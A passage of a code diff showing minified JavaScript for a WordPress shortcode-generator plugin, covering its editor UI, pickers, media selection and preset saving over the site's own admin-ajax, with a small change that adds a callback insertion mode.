t,e,r,n="none",a="",s=o.val();"media"===s?(t=[],i.find("span").each(function(e){t[e]=p(this).data("id")}),0<t.length&&(a=t.join(","))):"category"===s?0<(e=u.val()||[]).length&&(a=e.join(",")):"taxonomy"===s?(e=c.val()||"",r=l.val()||[],"0"!==e&&0<r.length&&(n="taxonomy: "+e+"/"+r.join(","))):n="0"===s?"none":s,g.val(n=""!==a?s+": "+a:n).trigger("change")}var t,r=p(this),o=r.find(".su-generator-isp-sources"),a=r.find(".su-generator-isp-source"),e=r.find(".su-generator-isp-add-media"),i=r.find(".su-generator-isp-images"),u=r.find(".su-generator-isp-categories"),c=r.find(".su-generator-isp-taxonomies"),l=p(".su-generator-isp-terms"),g=r.find(".su-generator-attr");o.on("change",function(e){var t=p(this).val();e.preventDefault(),a.removeClass("su-generator-isp-source-open"),-1===t.indexOf(":")&&r.find(".su-generator-isp-source-"+t).addClass("su-generator-isp-source-open"),n()}),i.on("click","span i",function(){p(this).parent("span").css("border-color","#f03").fadeOut(300,function(){p(this).remove(),n()})}),e.click(function(e){e.preventDefault(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_1=wp.media({title:SUGL10n.isp_media_title,library:{type:"image"},button:{text:SUGL10n.isp_media_insert},multiple:!0})).on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.on("select",function(){var e=t.state().get("selection").toJSON();i.find("em").remove(),p.each(e,function(e){i.append('<span data-id="'+this.id+'"><img src="'+this.url+'" alt="" /><i class="sui sui-times"></i></span>')}),n()}).open()}),i.sortable({revert:200,containment:r,tolerance:"pointer",stop:function(){n()}}),u.on("change",n),l.on("change",n),c.on("change",function(){var e,t=p(this).parents(".su-generator-isp-source"),r=p(this).val();l.hide().find("option").remove(),n(),"0"!==r&&(e=p.ajax({url:ajaxurl,type:"post",dataType:"html",data:{action:"su_generator_get_terms",tax:r,class:"su-generator-isp-terms",multiple:!0,size:10},beforeSend:function(){"object"==typeof e&&e.abort(),l.html("").attr("disabled",!0).hide(),t.addClass("su-generator-loading")},success:function(e){l.html(e).attr("disabled",!1).show(),t.removeClass("su-generator-loading")}}))})}),p(".su-generator-upload-button").each(function(){var t,e=p(this),r=p(this).parents(".su-generator-attr-container").find("input:text");e.on("click",function(e){e.preventDefault(),e.stopPropagation(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_2=wp.media({title:SUGL10n.upload_title,button:{text:SUGL10n.upload_insert},multiple:!1})).on("select",function(){var e=t.state().get("selection").first().toJSON();r.val(e.url).trigger("change")}),t.on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.open()})}),p(".su-generator-icon-picker-button").each(function(){var e=p(this),t=p(this).parents(".su-generator-attr-container"),n=t.find(".su-generator-attr"),a=t.find(".su-generator-icon-picker"),s=a.find("input:text");e.click(function(e){a.toggleClass("su-generator-icon-picker-visible"),s.val("").trigger("keyup"),a.hasClass("su-generator-icon-picker-loaded")||(p.ajax({type:"post",url:ajaxurl,data:{action:"su_generator_get_icons"},dataType:"html",beforeSend:function(){a.addClass("su-generator-loading"),a.addClass("su-generator-icon-picker-loaded")},success:function(e){a.append(e);var r=a.children("i");r.click(function(e){n.val("icon: "+p(this).attr("title")),a.removeClass("su-generator-icon-picker-visible"),n.trigger("change"),e.preventDefault()}),s.on({keyup:function(){var e=p(this).val(),t=new RegExp(e,"gi");r.hide(),r.each(function(){null!==p(this).attr("title").match(t)&&p(this).show()})},focus:function(){p(this).val(""),r.show()}}),a.removeClass("su-generator-loading")}}),e.preventDefault())})}),p(".su-generator-switch").click(function(e){var t=p(this).parent().children("input");("yes"===t.val()?t.val("no"):t.val("yes")).trigger("change"),e.preventDefault()}),p(".su-generator-switch-value").on("change",function(){var e=p(this),t=e.parent().children(".su-generator-switch"),e=e.val();"yes"===e?t.removeClass("su-generator-switch-no").addClass("su-generator-switch-yes"):"no"===e&&t.removeClass("su-generator-switch-yes").addClass("su-generator-switch-no")}),p("select#su-generator-attr-taxonomy").on("change",function(){var e=p(this).val(),t=p("select#su-generator-attr-tax_term");window.su_generator_get_terms=p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_get_terms",tax:e,noselect:!0},dataType:"html",beforeSend:function(){"object"==typeof window.su_generator_get_terms&&window.su_generator_get_terms.abort(),t.parent().addClass("su-generator-loading")},success:function(e){t.find("option").remove(),t.append(e),t.parent().removeClass("su-generator-loading")}})}),p(".su-generator-shadow-picker").each(function(e){var t=p(this),r=t.find(".su-generator-shadow-picker-field input"),n=t.find(".su-generator-sp-hoff"),a=t.find(".su-generator-sp-voff"),s=t.find(".su-generator-sp-blur"),o={cnt:t.find(".su-generator-shadow-picker-color"),value:t.find(".su-generator-shadow-picker-color-value"),wheel:t.find(".su-generator-shadow-picker-color-wheel")},i=t.find(".su-generator-attr");o.wheel.farbtastic(o.value),o.value.focus(function(){o.wheel.show()}),o.value.blur(function(){o.wheel.hide()}),r.on("change blur keyup",function(){i.val(n.val()+"px "+a.val()+"px "+s.val()+"px "+o.value.val()).trigger("change")}),i.on("keyup",function(){var e=p(this).val().split(" ");4===e.length&&(n.val(e[0].replace("px","")),a.val(e[1].replace("px","")),s.val(e[2].replace("px","")),o.value.val(e[3]),r.trigger("keyup"))})}),p(".su-generator-border-picker").each(function(e){var t=p(this),r=t.find(".su-generator-border-picker-field input, .su-generator-border-picker-field select"),n=t.find(".su-generator-bp-width"),a=t.find(".su-generator-bp-style"),s={cnt:t.find(".su-generator-border-picker-color"),value:t.find(".su-generator-border-picker-color-value"),wheel:t.find(".su-generator-border-picker-color-wheel")},o=t.find(".su-generator-attr");s.wheel.farbtastic(s.value),s.value.focus(function(){s.wheel.show()}),s.value.blur(function(){s.wheel.hide()}),r.on("change blur keyup",function(){o.val(n.val()+"px "+a.val()+" "+s.value.val()).trigger("change")}),o.on("keyup",function(){var e=p(this).val().split(" ");3===e.length&&(n.val(e[0].replace("px","")),a.val(e[1]),s.value.val(e[2]),r.trigger("keyup"))})}),l.find(".su-generator-attr").on("change keyup blur",function(){var e=p(this).parents(".su-generator-attr-container"),t=e.data("default");p(this).val()!=t?e.removeClass("su-generator-skip"):e.addClass("su-generator-skip")}),p(".su-generator-set-value").click(function(e){p(this).parents(".su-generator-attr-container").find("input").val(p(this).text()).trigger("change")}),d.val(t),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:"last_used",shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){},success:function(e){f.setSettings(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection)},dataType:"json"})},dataType:"html"})}),p("#su-generator").on("click",".su-generator-insert",f.insertShortcode),p("#su-generator").on("click",".su-generator-toggle-preview",function(e){var t=p("#su-generator-preview");p(this).hide(),t.addClass("su-generator-loading").show(),l.find("input, textarea, select").on("change keyup blur",function(){f.updatePreview()}),f.updatePreview(!0),e.preventDefault()}),p("#su-generator").on("mouseenter click",".su-generator-presets",function(){clearTimeout(a),p(".su-gp-popup").show()}),p("#su-generator").on("mouseleave",".su-generator-presets",function(){a=window.setTimeout(function(){p(".su-gp-popup").fadeOut(200)},600)}),p("#su-generator").on("click",".su-gp-new",function(e){p(this).parents(".su-generator-presets");var t=p(".su-gp-list"),r=(new Date).getTime(),n=prompt(SUGL10n.presets_prompt_msg,SUGL10n.presets_prompt_value);""!==n&&null!==n&&(t.find("b").hide(),t.append('<span data-id="'+r+'"><em>'+n+'</em><i class="sui sui-times"></i></span>'),f.addPreset(r,n))}),p("#su-generator").on("click",".su-gp-list span",function(e){var t=p(".su-generator-presets").data("shortcode"),r=p(this).data("id"),n=p(".su-generator-insert");p(".su-gp-popup").hide(),clearTimeout(a),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:r,shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){n.addClass("button-primary-disabled").attr("disabled",!0)},success:function(e){n.removeClass("button-primary-disabled").attr("disabled",!1),f.setSettings(e)},dataType:"json"}),e.preventDefault(),e.stopPropagation()}),p("#su-generator").on("click",".su-gp-list i",function(e){var t=p(this).parents(".su-gp-list"),r=p(this).parent("span"),n=r.data("id");r.remove(),t.find("span").length<1&&t.find("b").show(),f.removePreset(n),e.stopPropagation(),e.preventDefault()})},f.addPreset=function(e,t){var r=p(".su-generator-presets").data("shortcode"),n=f.getSettings();p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_add_preset",id:e,name:t,shortcode:r,settings:n,nonce:p("#su_generator_presets_nonce").val()}})},f.removePreset=function(e){var t=p(".su-generator-presets").data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_remove_preset",id:e,shortcode:t,nonce:p("#su_generator_presets_nonce").val()}})},f.parseSettings=function(){var e="on"===p("#su-generator-option-skip").val()?"#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr":"#su-generator-settings .su-generator-attr-container .su-generator-attr",t=d.val(),r=g.val(),e=p(e),n=p("textarea#su-generator-content"),n=n.length?n.val():"false",a=new String("");return a+="["+r+t,e.each(function(){var e=p(this),t="";null==(t=(e.is("select")?e.find("option:selected"):e).val())?t="":"array"==typeof t&&(t=t.join(",")),""!==t&&(a+=" "+p(this).attr("name")+'="'+p(this).val().toString().replace(/"/gi,"'")+'"')}),a+="]","false"!=n&&(a+=n+"[/"+r+t+"]"),a},f.getSettings=function(){d.val();var e=p("#su-generator-settings .su-generator-attr"),t=p("textarea#su-generator-content"),t=t.length?t.val():"false",a={};return e.each(function(e){var t=p(this),r="",n=t.attr("name"),r=(t.is("select")?t.find("option:selected"):t).val();a[n]=r=null==r?"":r}),a.content=t.toString(),a},f.setSettings=function(r){var e=p("#su-generator-settings .su-generator-attr"),t=p("#su-generator-content");e.each(function(){var e=p(this),t=e.attr("name");r.hasOwnProperty(t)&&(e.val(r[t]),e.trigger("keyup").trigger("change").trigger("blur"))}),r.hasOwnProperty("content")&&t.val(r.content).trigger("keyup").trigger("change").trigger("blur"),f.updatePreview()},f.updatePreview=function(e){var t=p("#su-generator-preview"),r=f.parseSettings(),n=a.text();e=e||!1,t.is(":visible")&&(r!==n||e)&&(window.clearTimeout(f.state.preview.timer),f.state.preview.timer=window.setTimeout(function(){f.state.preview.request=p.ajax({type:"POST",url:ajaxurl,cache:!1,data:{action:"su_generator_preview",shortcode:r,nonce:p("#su_generator_preview_nonce").val()},beforeSend:function(){f.state.preview.request&&f.state.preview.request.abort(),t.addClass("su-generator-loading").html("")},success:function(e){t.html(e).removeClass("su-generator-loading")},dataType:"html"})},300),a.text(r))},f.insert=function(e,t){var r;"string"==typeof e&&"object"==typeof t&&(f.state.context=e,r=(f.state.insertArgs=t).shortcode||"",(e={type:"inline",alignTop:!0,closeOnBgClick:!1,mainClass:"su-generator-mfp",items:{src:"#su-generator"},callbacks:{}}).callbacks.open=()=>{r?c.filter('[data-shortcode="'.concat(r,'"]')).trigger("click"):window.setTimeout(()=>s.focus(),200),"undefined"!=typeof tinyMCE&&null!=tinyMCE.activeEditor&&tinyMCE.activeEditor.hasOwnProperty("selection")&&(f.state.mceSelection=tinyMCE.activeEditor.selection.getContent({format:"text"}))},e.callbacks.close=()=>{s.val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),o.show(),u.show(),c.show(),f.state.mceSelection=""},p.magnificPopup.open(e))},f.insertShortcode=function(){var e,t,r=f.parseSettings();f.addPreset("last_used",SUGL10n.last_used),p.magnificPopup.close(),a.text(r),"html"===f.state.context&&(e=document.getElementById(f.state.insertArgs.editorID),f.insertAtCaret(e,r)),"classic"===f.state.context&&window.wp.media.editor.insert(r),"block"===f.state.context&&((e=f.state.insertArgs.props).attributes.hasOwnProperty("content")?e.setAttributes({content:e.attributes.content+r}):"core/shortcode"===e.name&&(t=e.attributes.hasOwnProperty("text")?e.attributes.text:"",e.setAttributes({text:t+r})))},f.insertAtCaret=(e,t)=>{var r=e.selectionStart;e.value=e.value.substring(0,r)+t+e.value.substring(r),e.focus(),e.selectionStart=r+t.length},{init:f.init,insert:f.insert}),jQuery(document).ready(window.SUG.App.init)},{}]},{},[1]); +!function n(a,s,o){function i(t,e){if(!s[t]){if(!a[t]){var r="function"==typeof require&&require;if(!e&&r)return r(t,!0);if(u)return u(t,!0);throw(e=new Error("Cannot find module '"+t+"'")).code="MODULE_NOT_FOUND",e}r=s[t]={exports:{}},a[t][0].call(r.exports,function(e){return i(a[t][1][e]||e)},r,r.exports,n,a,s,o)}return s[t].exports}for(var u="function"==typeof require&&require,e=0;e<o.length;e++)i(o[e]);return i}({1:[function(e,t,r){var p,n,s,o,i,u,c,l,g,a,d,f;window.SUG={},window.SUG.App=(p=jQuery,n=p("#su-generator"),s=p("#su-generator-search"),o=p("#su-generator-filter"),i=o.children("a"),u=p("#su-generator-choices"),c=u.find("span"),l=p("#su-generator-settings"),g=p("#su-compatibility-mode-prefix"),a=p("#su-generator-result"),d=p("#su-generator-selected"),(f={state:{mceSelection:"",target:"",wpActiveEditor:null,context:"",insertArgs:"",preview:{timer:null,request:null}}}).el={body:p("body")},f.init=()=>{var a;i.click(function(e){var t,r=p(this).data("filter");"all"===r?c.css({opacity:1}).removeClass("su-generator-choice-first"):(t=new RegExp(r,"gi"),c.css({opacity:.2}),c.each(function(){null!==p(this).data("group").match(t)&&p(this).css({opacity:1}).removeClass("su-generator-choice-first")})),e.preventDefault()}),p("#su-generator").on("click",".su-generator-home",function(e){s.val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),o.show(),u.show(),c.show(),f.state.mceSelection="",s.focus(),e.preventDefault()}),p("#su-generator").on("click",".su-generator-close",function(e){p.magnificPopup.close(),e.preventDefault()}),s.on({focus:function(){p(this).val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),u.show(),c.css({opacity:1}).removeClass("su-generator-choice-first"),o.show()},blur:function(){},keyup:function(e){var t=p(".su-generator-choice-first:first"),r=p(this).val(),n=new RegExp(r,"gi"),a=0;13===e.keyCode&&0<t.length&&(e.preventDefault(),p(this).val("").blur(),t.trigger("click")),c.css({opacity:.2}).removeClass("su-generator-choice-first"),c.each(function(){var e=p(this).data(),t=e.shortcode,e=[t,e.name,e.desc,e.group].join(" ").match(n);null!==e&&(p(this).css({opacity:1}),r===t?(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=999):e.length>a&&(c.removeClass("su-generator-choice-first"),p(this).addClass("su-generator-choice-first"),a=e.length))}),""===r&&c.removeClass("su-generator-choice-first")}}),c.on("click",function(e){var t=p(this).data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_settings",shortcode:t},beforeSend:function(){p("#su-generator-preview").hide(),u.hide(),l.addClass("su-generator-loading").show(),n.addClass("su-generator-narrow"),o.hide()},success:function(e){l.removeClass("su-generator-loading"),l.html(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection),p(".su-generator-range-picker").each(function(e){var t=p(this).find("input"),r=t.attr("min"),n=t.attr("max"),a=t.attr("step");t.simpleSlider({snap:!0,step:a,range:[r,n]}),t.show(),t.on("keyup blur",function(e){t.simpleSlider("setValue",t.val())})}),p(".su-generator-select-color").each(function(e){p(this).find(".su-generator-select-color-wheel").filter(":first").farbtastic(".su-generator-select-color-value:eq("+e+")"),p(this).find(".su-generator-select-color-value").focus(function(){p(".su-generator-select-color-wheel:eq("+e+")").show()}),p(this).find(".su-generator-select-color-value").blur(function(){p(".su-generator-select-color-wheel:eq("+e+")").hide()})}),p(".su-generator-isp").each(function(){function n(){var t,e,r,n="none",a="",s=o.val();"media"===s?(t=[],i.find("span").each(function(e){t[e]=p(this).data("id")}),0<t.length&&(a=t.join(","))):"category"===s?0<(e=u.val()||[]).length&&(a=e.join(",")):"taxonomy"===s?(e=c.val()||"",r=l.val()||[],"0"!==e&&0<r.length&&(n="taxonomy: "+e+"/"+r.join(","))):n="0"===s?"none":s,g.val(n=""!==a?s+": "+a:n).trigger("change")}var t,r=p(this),o=r.find(".su-generator-isp-sources"),a=r.find(".su-generator-isp-source"),e=r.find(".su-generator-isp-add-media"),i=r.find(".su-generator-isp-images"),u=r.find(".su-generator-isp-categories"),c=r.find(".su-generator-isp-taxonomies"),l=p(".su-generator-isp-terms"),g=r.find(".su-generator-attr");o.on("change",function(e){var t=p(this).val();e.preventDefault(),a.removeClass("su-generator-isp-source-open"),-1===t.indexOf(":")&&r.find(".su-generator-isp-source-"+t).addClass("su-generator-isp-source-open"),n()}),i.on("click","span i",function(){p(this).parent("span").css("border-color","#f03").fadeOut(300,function(){p(this).remove(),n()})}),e.click(function(e){e.preventDefault(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_1=wp.media({title:SUGL10n.isp_media_title,library:{type:"image"},button:{text:SUGL10n.isp_media_insert},multiple:!0})).on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.on("select",function(){var e=t.state().get("selection").toJSON();i.find("em").remove(),p.each(e,function(e){i.append('<span data-id="'+this.id+'"><img src="'+this.url+'" alt="" /><i class="sui sui-times"></i></span>')}),n()}).open()}),i.sortable({revert:200,containment:r,tolerance:"pointer",stop:function(){n()}}),u.on("change",n),l.on("change",n),c.on("change",function(){var e,t=p(this).parents(".su-generator-isp-source"),r=p(this).val();l.hide().find("option").remove(),n(),"0"!==r&&(e=p.ajax({url:ajaxurl,type:"post",dataType:"html",data:{action:"su_generator_get_terms",tax:r,class:"su-generator-isp-terms",multiple:!0,size:10},beforeSend:function(){"object"==typeof e&&e.abort(),l.html("").attr("disabled",!0).hide(),t.addClass("su-generator-loading")},success:function(e){l.html(e).attr("disabled",!1).show(),t.removeClass("su-generator-loading")}}))})}),p(".su-generator-upload-button").each(function(){var t,e=p(this),r=p(this).parents(".su-generator-attr-container").find("input:text");e.on("click",function(e){e.preventDefault(),e.stopPropagation(),void 0!==t&&t.close(),(t=wp.media.frames.su_media_frame_2=wp.media({title:SUGL10n.upload_title,button:{text:SUGL10n.upload_insert},multiple:!1})).on("select",function(){var e=t.state().get("selection").first().toJSON();r.val(e.url).trigger("change")}),t.on("open",function(){p(".mfp-wrap").addClass("hidden")}),t.on("close",function(){p(".mfp-wrap").removeClass("hidden")}),t.open()})}),p(".su-generator-icon-picker-button").each(function(){var e=p(this),t=p(this).parents(".su-generator-attr-container"),n=t.find(".su-generator-attr"),a=t.find(".su-generator-icon-picker"),s=a.find("input:text");e.click(function(e){a.toggleClass("su-generator-icon-picker-visible"),s.val("").trigger("keyup"),a.hasClass("su-generator-icon-picker-loaded")||(p.ajax({type:"post",url:ajaxurl,data:{action:"su_generator_get_icons"},dataType:"html",beforeSend:function(){a.addClass("su-generator-loading"),a.addClass("su-generator-icon-picker-loaded")},success:function(e){a.append(e);var r=a.children("i");r.click(function(e){n.val("icon: "+p(this).attr("title")),a.removeClass("su-generator-icon-picker-visible"),n.trigger("change"),e.preventDefault()}),s.on({keyup:function(){var e=p(this).val(),t=new RegExp(e,"gi");r.hide(),r.each(function(){null!==p(this).attr("title").match(t)&&p(this).show()})},focus:function(){p(this).val(""),r.show()}}),a.removeClass("su-generator-loading")}}),e.preventDefault())})}),p(".su-generator-switch").click(function(e){var t=p(this).parent().children("input");("yes"===t.val()?t.val("no"):t.val("yes")).trigger("change"),e.preventDefault()}),p(".su-generator-switch-value").on("change",function(){var e=p(this),t=e.parent().children(".su-generator-switch"),e=e.val();"yes"===e?t.removeClass("su-generator-switch-no").addClass("su-generator-switch-yes"):"no"===e&&t.removeClass("su-generator-switch-yes").addClass("su-generator-switch-no")}),p("select#su-generator-attr-taxonomy").on("change",function(){var e=p(this).val(),t=p("select#su-generator-attr-tax_term");window.su_generator_get_terms=p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_get_terms",tax:e,noselect:!0},dataType:"html",beforeSend:function(){"object"==typeof window.su_generator_get_terms&&window.su_generator_get_terms.abort(),t.parent().addClass("su-generator-loading")},success:function(e){t.find("option").remove(),t.append(e),t.parent().removeClass("su-generator-loading")}})}),p(".su-generator-shadow-picker").each(function(e){var t=p(this),r=t.find(".su-generator-shadow-picker-field input"),n=t.find(".su-generator-sp-hoff"),a=t.find(".su-generator-sp-voff"),s=t.find(".su-generator-sp-blur"),o={cnt:t.find(".su-generator-shadow-picker-color"),value:t.find(".su-generator-shadow-picker-color-value"),wheel:t.find(".su-generator-shadow-picker-color-wheel")},i=t.find(".su-generator-attr");o.wheel.farbtastic(o.value),o.value.focus(function(){o.wheel.show()}),o.value.blur(function(){o.wheel.hide()}),r.on("change blur keyup",function(){i.val(n.val()+"px "+a.val()+"px "+s.val()+"px "+o.value.val()).trigger("change")}),i.on("keyup",function(){var e=p(this).val().split(" ");4===e.length&&(n.val(e[0].replace("px","")),a.val(e[1].replace("px","")),s.val(e[2].replace("px","")),o.value.val(e[3]),r.trigger("keyup"))})}),p(".su-generator-border-picker").each(function(e){var t=p(this),r=t.find(".su-generator-border-picker-field input, .su-generator-border-picker-field select"),n=t.find(".su-generator-bp-width"),a=t.find(".su-generator-bp-style"),s={cnt:t.find(".su-generator-border-picker-color"),value:t.find(".su-generator-border-picker-color-value"),wheel:t.find(".su-generator-border-picker-color-wheel")},o=t.find(".su-generator-attr");s.wheel.farbtastic(s.value),s.value.focus(function(){s.wheel.show()}),s.value.blur(function(){s.wheel.hide()}),r.on("change blur keyup",function(){o.val(n.val()+"px "+a.val()+" "+s.value.val()).trigger("change")}),o.on("keyup",function(){var e=p(this).val().split(" ");3===e.length&&(n.val(e[0].replace("px","")),a.val(e[1]),s.value.val(e[2]),r.trigger("keyup"))})}),l.find(".su-generator-attr").on("change keyup blur",function(){var e=p(this).parents(".su-generator-attr-container"),t=e.data("default");p(this).val()!=t?e.removeClass("su-generator-skip"):e.addClass("su-generator-skip")}),p(".su-generator-set-value").click(function(e){p(this).parents(".su-generator-attr-container").find("input").val(p(this).text()).trigger("change")}),d.val(t),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:"last_used",shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){},success:function(e){f.setSettings(e);e=p("#su-generator-content");void 0!==f.state.mceSelection&&""!==f.state.mceSelection&&"hidden"!==e.attr("type")&&e.val(f.state.mceSelection)},dataType:"json"})},dataType:"html"})}),p("#su-generator").on("click",".su-generator-insert",f.insertShortcode),p("#su-generator").on("click",".su-generator-toggle-preview",function(e){var t=p("#su-generator-preview");p(this).hide(),t.addClass("su-generator-loading").show(),l.find("input, textarea, select").on("change keyup blur",function(){f.updatePreview()}),f.updatePreview(!0),e.preventDefault()}),p("#su-generator").on("mouseenter click",".su-generator-presets",function(){clearTimeout(a),p(".su-gp-popup").show()}),p("#su-generator").on("mouseleave",".su-generator-presets",function(){a=window.setTimeout(function(){p(".su-gp-popup").fadeOut(200)},600)}),p("#su-generator").on("click",".su-gp-new",function(e){p(this).parents(".su-generator-presets");var t=p(".su-gp-list"),r=(new Date).getTime(),n=prompt(SUGL10n.presets_prompt_msg,SUGL10n.presets_prompt_value);""!==n&&null!==n&&(t.find("b").hide(),t.append('<span data-id="'+r+'"><em>'+n+'</em><i class="sui sui-times"></i></span>'),f.addPreset(r,n))}),p("#su-generator").on("click",".su-gp-list span",function(e){var t=p(".su-generator-presets").data("shortcode"),r=p(this).data("id"),n=p(".su-generator-insert");p(".su-gp-popup").hide(),clearTimeout(a),p.ajax({type:"GET",url:ajaxurl,data:{action:"su_generator_get_preset",id:r,shortcode:t,nonce:p("#su_generator_presets_nonce").val()},beforeSend:function(){n.addClass("button-primary-disabled").attr("disabled",!0)},success:function(e){n.removeClass("button-primary-disabled").attr("disabled",!1),f.setSettings(e)},dataType:"json"}),e.preventDefault(),e.stopPropagation()}),p("#su-generator").on("click",".su-gp-list i",function(e){var t=p(this).parents(".su-gp-list"),r=p(this).parent("span"),n=r.data("id");r.remove(),t.find("span").length<1&&t.find("b").show(),f.removePreset(n),e.stopPropagation(),e.preventDefault()})},f.addPreset=function(e,t){var r=p(".su-generator-presets").data("shortcode"),n=f.getSettings();p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_add_preset",id:e,name:t,shortcode:r,settings:n,nonce:p("#su_generator_presets_nonce").val()}})},f.removePreset=function(e){var t=p(".su-generator-presets").data("shortcode");p.ajax({type:"POST",url:ajaxurl,data:{action:"su_generator_remove_preset",id:e,shortcode:t,nonce:p("#su_generator_presets_nonce").val()}})},f.parseSettings=function(){var e="on"===p("#su-generator-option-skip").val()?"#su-generator-settings .su-generator-attr-container:not(.su-generator-skip) .su-generator-attr":"#su-generator-settings .su-generator-attr-container .su-generator-attr",t=d.val(),r=g.val(),e=p(e),n=p("textarea#su-generator-content"),n=n.length?n.val():"false",a=new String("");return a+="["+r+t,e.each(function(){var e=p(this),t="";null==(t=(e.is("select")?e.find("option:selected"):e).val())?t="":"array"==typeof t&&(t=t.join(",")),""!==t&&(a+=" "+p(this).attr("name")+'="'+p(this).val().toString().replace(/"/gi,"'")+'"')}),a+="]","false"!=n&&(a+=n+"[/"+r+t+"]"),a},f.getSettings=function(){d.val();var e=p("#su-generator-settings .su-generator-attr"),t=p("textarea#su-generator-content"),t=t.length?t.val():"false",a={};return e.each(function(e){var t=p(this),r="",n=t.attr("name"),r=(t.is("select")?t.find("option:selected"):t).val();a[n]=r=null==r?"":r}),a.content=t.toString(),a},f.setSettings=function(r){var e=p("#su-generator-settings .su-generator-attr"),t=p("#su-generator-content");e.each(function(){var e=p(this),t=e.attr("name");r.hasOwnProperty(t)&&(e.val(r[t]),e.trigger("keyup").trigger("change").trigger("blur"))}),r.hasOwnProperty("content")&&t.val(r.content).trigger("keyup").trigger("change").trigger("blur"),f.updatePreview()},f.updatePreview=function(e){var t=p("#su-generator-preview"),r=f.parseSettings(),n=a.text();e=e||!1,t.is(":visible")&&(r!==n||e)&&(window.clearTimeout(f.state.preview.timer),f.state.preview.timer=window.setTimeout(function(){f.state.preview.request=p.ajax({type:"POST",url:ajaxurl,cache:!1,data:{action:"su_generator_preview",shortcode:r,nonce:p("#su_generator_preview_nonce").val()},beforeSend:function(){f.state.preview.request&&f.state.preview.request.abort(),t.addClass("su-generator-loading").html("")},success:function(e){t.html(e).removeClass("su-generator-loading")},dataType:"html"})},300),a.text(r))},f.insert=function(e,t){var r;"string"==typeof e&&"object"==typeof t&&(f.state.context=e,r=(f.state.insertArgs=t).shortcode||"",(e={type:"inline",alignTop:!0,closeOnBgClick:!1,mainClass:"su-generator-mfp",items:{src:"#su-generator"},callbacks:{}}).callbacks.open=()=>{r?c.filter('[data-shortcode="'.concat(r,'"]')).trigger("click"):window.setTimeout(()=>s.focus(),200),"undefined"!=typeof tinyMCE&&null!=tinyMCE.activeEditor&&tinyMCE.activeEditor.hasOwnProperty("selection")&&(f.state.mceSelection=tinyMCE.activeEditor.selection.getContent({format:"text"}))},e.callbacks.close=()=>{s.val(""),l.html("").hide(),n.removeClass("su-generator-narrow"),o.show(),u.show(),c.show(),f.state.mceSelection=""},p.magnificPopup.open(e))},f.insertShortcode=function(){var e,t,r=f.parseSettings();f.addPreset("last_used",SUGL10n.last_used),p.magnificPopup.close(),a.text(r),"html"===f.state.context&&(e=document.getElementById(f.state.insertArgs.editorID),f.insertAtCaret(e,r)),"classic"===f.state.context&&window.wp.media.editor.insert(r),"block"===f.state.context&&((e=f.state.insertArgs.props).attributes.hasOwnProperty("content")?e.setAttributes({content:e.attributes.content+r}):"core/shortcode"===e.name&&(t=e.attributes.hasOwnProperty("text")?e.attributes.text:"",e.setAttributes({text:t+r}))),"callback"===f.state.context&&"function"==typeof f.state.insertArgs.callback&&f.state.insertArgs.callback(r)},f.insertAtCaret=(e,t)=>{var r=e.selectionStart;e.value=e.value.substring(0,r)+t+e.value.substring(r),e.focus(),e.selectionStart=r+t.length},{init:f.init,insert:f.insert}),jQuery(document).ready(window.SUG.App.init)},{}]},{},[1]); //# sourceMappingURL=index.js.map @@ -1 +1 @@ -{"version":3,"sources":["includes/js/generator/node_modules/browser-pack/_prelude.js","includes/js/generator/includes/js/generator/src/index.js"],"names":["r","e","n","t","o","i","f","c","require","u","a","Error","code","p","exports","call","length","1","module","$","$generator","$search","$filter","$filters","$choices","$choice","$settings","$prefix","$result","$selected","self","window","SUG","App","jQuery","children","find","state","mceSelection","target","wpActiveEditor","context","insertArgs","preview","timer","request","el","body","init","gp_hover_timer","click","regex","filter","this","data","css","opacity","removeClass","RegExp","each","match","preventDefault","on","val","html","hide","show","focus","magnificPopup","close","blur","keyup","$first","best","keyCode","trigger","id","shortcode","matches","name","desc","group","join","addClass","ajax","type","url","ajaxurl","action","beforeSend","success","$content","attr","index","$val","min","max","step","simpleSlider","snap","range","farbtastic","update","images","tax","terms","ids","source","$sources","$images","categories","$cats","$taxes","$terms","frame","$picker","$source","$addMedia","indexOf","parent","fadeOut","remove","wp","media","frames","su_media_frame_1","title","SUGL10n","isp_media_title","library","button","text","isp_media_insert","multiple","files","get","toJSON","append","open","sortable","revert","containment","tolerance","stop","ajaxTermSelect","$cont","parents","dataType","class","size","abort","file","$button","stopPropagation","su_media_frame_2","upload_title","upload_insert","attachment","first","$field","toggleClass","hasClass","$icons","$value","$switch","value","su_generator_get_terms","noselect","$fields","$hoff","$voff","$blur","$color","cnt","wheel","split","replace","$width","$style","$cnt","_default","nonce","setSettings","insertShortcode","$preview","updatePreview","clearTimeout","setTimeout","$list","Date","getTime","prompt","presets_prompt_msg","presets_prompt_value","addPreset","$insert","$pres